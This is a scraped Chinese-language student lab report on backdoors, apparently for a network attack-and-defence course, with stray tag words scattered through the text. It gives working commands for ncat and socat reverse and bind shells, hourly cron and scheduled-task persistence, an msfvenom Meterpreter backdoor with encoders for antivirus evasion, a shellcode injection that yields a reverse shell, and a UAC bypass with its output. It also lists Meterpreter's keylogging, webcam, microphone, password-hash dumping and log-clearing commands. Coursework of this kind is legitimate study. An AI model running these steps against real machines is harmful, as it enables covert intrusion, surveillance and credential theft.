在Windows下使用ipconfig
查看本機IP
html
使用ncat.exe程序打開監聽ncat.exe -l -p 5215
linux
在kali中反彈鏈接Windows,ncat 192.168.3.26 5215 -e /bin.sh
,使用-e
選項執行shell程序
git
在kali中使用ifconfig
查看IP
web
打開監聽nc -l -p 5215
shell
在Windows中反彈鏈接kali,ncat.exe -e cmd.exe 192.168.30.134 5215
windows
kali成功得到Windows的命令提示
api
ncat.exe -l 5215
5215
端口,nc 192.168.3.26 5215
5215
端口,並把收到的數據保存到file5215.out
中,ncat.exe -l 5215 > file1.out
5215
端口,nc 192.168.3.26 5215 < file1.in
後門就是一個程序。安全
傳統的理解是:有人編寫一個後門程序,你們拿來用。網絡
全都作成零件或可調整的參數。用的時候按須要組合,就能夠生成一個可執行文件。session
典型的平臺就包括有:
參數說明
-p
使用的payload,payload翻譯爲有效載荷,就是被運輸有東西。這裏windows/meterpreter/reverse_tcp就是一段shellcode.-x
使用的可執行文件模板,payload(shellcode)就寫入到這個可執行文件中。-e
使用的編碼器,用於對shellcode變形,爲了免殺。-i
編碼器的迭代次數。如上即便用該編碼器編碼5次。-b
badchar是payload中須要去除的字符。LHOST
是反彈回連的IPLPORT
是回連的端口-f
生成文件的類型>
輸出到哪一個文件Meterpreter更多指令
meterpreter > help Core Commands第一部分是核心指令 ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information or control active channels close Closes a channel disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session get_timeouts Get the current session timeout values help Help menu info Displays information about a Post module irb Drop into irb scripting mode load Load one or more meterpreter extensions machine_id Get the MSF ID of the machine attached to the session migrate Migrate the server to another process quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module set_timeouts Set the current session timeout values sleep Force Meterpreter to go quiet, then re-establish session. transport Change the current transport mechanism use Deprecated alias for 'load' uuid Get the UUID for the current session write Writes data to a channel Stdapi: File system Commands第二部分是文件系統相關的 ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory dir List files (alias for ls) download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcd Change local working directory lpwd Print local working directory ls List files mkdir Make directory mv Move source to destination pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files show_mount List all mount points/logical drives upload Upload a file or directory Stdapi: Networking Commands固然少不了網絡操做的了 =========================== Command Description ------- ----------- arp Display the host ARP cache getproxy Display the current proxy configuration ifconfig Display interfaces ipconfig Display interfaces netstat Display the network connections portfwd Forward a local port to a remote service resolve Resolve a set of host names on the target route View and modify the routing table Stdapi: System Commands系統指令 ======================= Command Description ------- ----------- clearev Clear the event log drop_token Relinquishes any active impersonation token. execute Execute a command getenv Get one or more environment variable values getpid Get the current process identifier getprivs Attempt to enable all privileges available to the current process getsid Get the SID of the user that the server is running as getuid Get the user that the server is running as kill Terminate a process ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shell Drop into a system command shell shutdown Shuts down the remote computer steal_token Attempts to steal an impersonation token from the target process suspend Suspends or resumes a list of processes sysinfo Gets information about the remote system, such as OS Stdapi: User interface Commands用戶接口,哇還能夠抓取擊鍵記錄呢 =============================== Command Description ------- ----------- enumdesktops List all accessible desktops and window stations getdesktop Get the current meterpreter desktop idletime Returns the number of seconds the remote user has been idle keyscan_dump Dump the keystroke buffer keyscan_start Start capturing keystrokes keyscan_stop Stop capturing keystrokes screenshot Grab a screenshot of the interactive desktop setdesktop Change the meterpreters current desktop uictl Control some of the user interface components Stdapi: Webcam Commands 什麼?Video?昨天哪位同窗問我來着?測試Win7可拍攝。 ======================= Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_chat Start a video chat webcam_list List webcams webcam_snap Take a snapshot from the specified webcam webcam_stream Play a video stream from the specified webcam Priv: Elevate Commands提權 ====================== Command Description ------- ----------- getsystem Attempt to elevate your privilege to that of local system. ***個人win7沒成功*** Priv: Password database Commands導出密碼文件SAM ================================ Command Description ------- ----------- hashdump Dumps the contents of the SAM database ***個人win7沒成功*** Priv: Timestomp Commands修改文件操做時間,清理現場用 ======================== Command Description ------- ----------- timestomp Manipulate file MACE attributes
Cron是Linux下的定時任務,每一分鐘運行一次,根據配置文件執行預設的指令。詳細說明能夠"man cron"。
crontab -e
指令增長一條定時任務,-e表示編輯。由於是第一次編輯,故提示選擇編輯器,這裏選擇的是3
。43 * * * * /bin/netcat 192.168.3.26 5215 -e /bin/sh
,意思是在每一個小時的第43分鐘反向鏈接Windows主機的5215端口。ls
命令出現問題,可使用比較簡單的whoami
命令,也能驗證)關於socat:
socat是ncat的加強版,它使用的格式是socat [options] <address> <address>
,其中兩個address
是必選項,而options
是可選項。
socat的基本功能就是創建兩個雙向的字節流,數據就在其間傳輸,參數address
就是表明了其中的一個方向。所謂流,表明了數據的流向,而數據則能夠有許多不一樣的類型,命令中也就相應須要許多選項對各類不一樣的類型數據流進行限定與說明。
右擊此電腦
,點擊管理
點擊任務計劃程序
,再點擊建立任務
填寫任務名,新建一個觸發器,選擇定時啓動
(固然設置其餘的也行,均可以用,例如鎖定計算機時)
點擊操做
,在程序或腳本
中選擇你的socat.exe文件的路徑,在添加參數一欄填寫tcp-listen:5215 exec:cmd.exe,pty,stderr
,這個命令的做用是把cmd.exe
綁定到端口5215,同時把cmd.exe的stderr重定向到stdout上:
到達20.42後,再次打開時,能夠發現以前建立的任務已經開始運行。(記住,彈出的cmd窗口別關閉)
此時,在kali中輸入輸入指令socat - tcp:192.168.3.26:5215
,這裏的第一個參數-表明標準的輸入輸出,第二個流鏈接到Windows主機的5215端口,此時能夠發現已經成功得到了一個cmd shell
因爲一些失誤,原有的虛擬機已經廢除,新的虛擬機ip爲192.168.30.137
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.30.137 LPORT=5215 -f exe > 20175215_backdoor.exe
,這裏的IP地址爲控制端IP,即KaliIP(使用ifconfig
查看),可見已經生成了後門程序「20175215_backdoor.exe」(此部分命令運行出現問題詳見:實驗中遇到的問題第二個。)ncat.exe -l 5215 > 20175215_backdoor.exe
,這樣被控主機就進入了接收文件模式,也可使用ncat.exe -lv 5215 > 20175215_backdoor.exe
指令,經過-lv選項看到當前的鏈接狀態,在kali中執行nc 192.168.3.26 5215 < 20175215_backdoor.exe
(這裏的IP爲被控主機IP,即WindowsIP)下面這個圖是文件傳輸成功的截圖傳送接收文件成功,以下圖所示
在kali上使用msfconsole
指令進入msf控制檯
use exploit/multi/handler
使用監聽模塊,設置payloadset payload windows/meterpreter/reverse_tcp
,使用和生成後門程序時相同的payloadset LHOST 192.168.30.137
,這裏用的是KaliIP,和生成後門程序時指定的IP相同set LPORT 5215
,一樣要使用相同的端口進入msf控制檯後的界面
record_mic
指令能夠截獲一段音頻(可使用-d
選項設置錄製時間)webcam_snap
指令可使用攝像頭進行拍照keyscan_start
指令記錄下擊鍵的過程,使用keyscan_dump
指令讀取擊鍵記錄。(使用keyscan_start
後就要輸入,否則讀取不到數據)使用screenshot
指令能夠進行截屏:
使用getuid
指令查看當前用戶,使用getsystem
指令進行提權操做(該部份內容由Win7完成,理論上由Win10也能完成,對此遇到困難的同窗請移步本博客下方內容:實驗中遇到的問題第四個)
perl -e 'print "A" x 32;print"\xc0\xd6\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_2
- 而後在另外一個終端總打開msfconsole
,並打開監聽(由於我使用的IP地址是127.0.0.1,爲回送地址)
use exploit/multi/handler set payload linux/x86/shell_reverse_tcp set LHOST 127.0.0.1 set LPORT 4444 //這兩個都是根據shellcode的指定內容來選擇的。 show options exploit
- 在原來的終端輸入命令```(cat input_2;cat) | ./20175215pwn1```(運行pwn1文件),而後再按一次回車,在另外一個終端就能夠獲得shell開始運行了。
(1)例舉你能想到的一個後門進入到你係統中的可能方式?
(2)例舉你知道的後門如何啓動起來(win及linux)的方式?
(3)Meterpreter有哪些給你映像深入的功能?
(4)如何發現本身有系統有沒有被安裝後門?
Bundler failed to load and returned this error: ‘cannot load such file – bundler / setup’ You may need to uninstall or upgrade bundler
gem install bundler:1.17.3
便可。background
命令查看到以下內容使用background
命令以後會自動退出到msf的命令行下,先在msf命令行下輸入search bypassuac
,再輸入use exploit/windows/local/bypassuac
,而後再輸入set session *
(*填寫內容爲你使用background查看到的session數值),最後輸入run
,當運行結果大體爲圖文所示內容時,在meterpreter中的getsystem
操做便會成功了。
圖:
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac msf5 exploit(windows/local/bypassuac) > set session 4 session => 4 msf5 exploit(windows/local/bypassuac) > run [*] Started reverse TCP handler on 192.168.30.135:4444 [*] UAC is Enabled, checking level... [+] UAC is set to Default [+] BypassUAC can bypass this setting, continuing... [+] Part of Administrators group! Continuing... [*] Uploaded the agent to the filesystem.... [*] Uploading the bypass UAC executable to the filesystem... [*] Meterpreter stager executable 73802 bytes long being uploaded.. [*] Sending stage (180291 bytes) to 192.168.30.140 [*] Meterpreter session 5 opened (192.168.30.135:4444 -> 192.168.30.140:49170) at 2020-03-09 03:04:04 -0400
1.0x21_MAL_後門原理與實踐.md
2.2018-2019-2 網絡對抗技術 20165318 Exp2 後門原理與實踐
3.Exp02
4.後滲透之meterpreter攻略
5.使用MSF生成shellcode
6.README